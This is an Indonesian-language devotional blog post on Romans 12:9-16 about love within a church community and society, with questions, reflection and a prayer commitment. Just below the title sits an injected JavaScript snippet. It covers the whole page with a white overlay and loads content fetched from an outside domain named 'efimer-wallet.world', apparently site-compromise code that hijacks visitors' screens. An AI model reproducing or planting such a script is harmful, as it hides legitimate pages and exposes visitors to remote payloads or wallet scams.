KASIH DALAM KOMUNITAS

const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});

Rabu, 30 Agustus 2023

Roma 12 : 9 – 16

Pengantar

Merangkum peran penting kasih dalam kehidupan, Leo Buscaglia (1924-1988) mengatakan, “A life lived in love will never dull” (kehidupan yang dijalani di dalam kasih tidak akan pernah membosankan). Apa yang dikatakan oleh penulis dari Amerika itu berlaku dalam kehidupan orang-orang percaya dalam relasinya dengan sesama, baik di gereja maupun di tengah masyarakat. Coba bayangkan, bagaimana sebuah komunitas dapat hidup tanpa kasih. Tanpa kasih, konflik yang kecil dapat dengan cepat menjadi besar dan menghancurkan relasi orang-orang yang ada di dalamnya. Selain menyelesaikan konflik, kasih juga berperan penting dalam membangun sebuah komunitas yang saling peduli, saling mendukung, dan saling melayani.

Pemahaman

Ayat 9-10 : Dalam dua ayat ini Rasul Paulus menyebutkan tiga prinsip mengenai kasih. Apa sajakah itu?

Ayat 11-12 : Bagaimana seharusnya kasih mewarnai kehidupan orang beriman, khususnya dalam pelayanan?

Ayat 13-16 : Bagaimana kasih mempengaruhi orang- orang beriman dalam kehidupan mereka di dalam gereja dan di tengah masyarakat?

Di ayat 9-10, Paulus mengawali nasihatnya dengan tiga prinsip penting mengenai kasih. Pertama, kasih harus tulus, tanpa kemunafikan (ay. 9a, “jangan pura-pura”). Kedua, kasih itu harus diwujudkan secara konkret (ay. 9b, “Jauhilah yang jahat dan lakukanlah yang baik”), baik dalam perkataan maupun perbuatan. Ketiga, dalam penerapannya terhadap sesama, kasih itu harus dimulai dengan saling menghargai (ay. 10).

Di ayat 11-12, Paulus kemudian menjelaskan bagaimana seharusnya kasih mewarnai kehidupan orang beriman, khususnya di dalam pelayanannya. Pertama, kasih akan

memotivasi dan memberi semangat dalam pelayanan (ay. 11). Kedua, kasih akan memampukan seseorang menghadapi tantangan di dalam pelayanan (ay. 12). Kejenuhan dan kesulitan dapat membuat kita ingin berhenti melayani. Namun, kasih yang tulus akan memampukan kita melanjutkan pelayanan kita.

Di ayat 13-14, Paulus menunjukkan bahwa kasih berperan penting dalam kehidupan komunitas orang percaya maupun di tengah masyarakat pada umumnya. Pertama, kasih mendorong kita untuk saling menerima dan saling membantu (ay. 13). Kedua, kasih memampukan kita untuk menghadapi orang-orang yang membenci dan menganiaya kita dengan cara yang tepat (ay. 14). Ketiga, kasih memampukan kita untuk berempati terhadap sesama, pada waktu suka maupun duka (ay. 15). Keempat, kasih juga menghindarkan kita dari kesombongan sehingga kita bisa lebih memahami orang lain dan bekerja sama dengan mereka (ay. 16).

Refleksi                                                                 

Apakah Anda sedang berada di dalam komunitas yang membosankan? Atau kehilangan semangat pelayanan? Sangat mungkin Anda sedang mengalami krisis kasih.

Tekadku                                                                

Tuhan tolonglah aku mewujudkan kasih di dalam pelayanan yang aku lakukan kepada keluarga, komunitas, dan masyarakat sekitarku.

Tindakanku                                                           

Aku akan berdoa bagi seseorang di dalam komunitasku, yang akan berulang tahun dalam waktu terdekat. Aku akan menanyakan pergumulan apa yang sedang dihadapinya, dan mendoakannya.

This entry was posted in RENUNGAN. Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *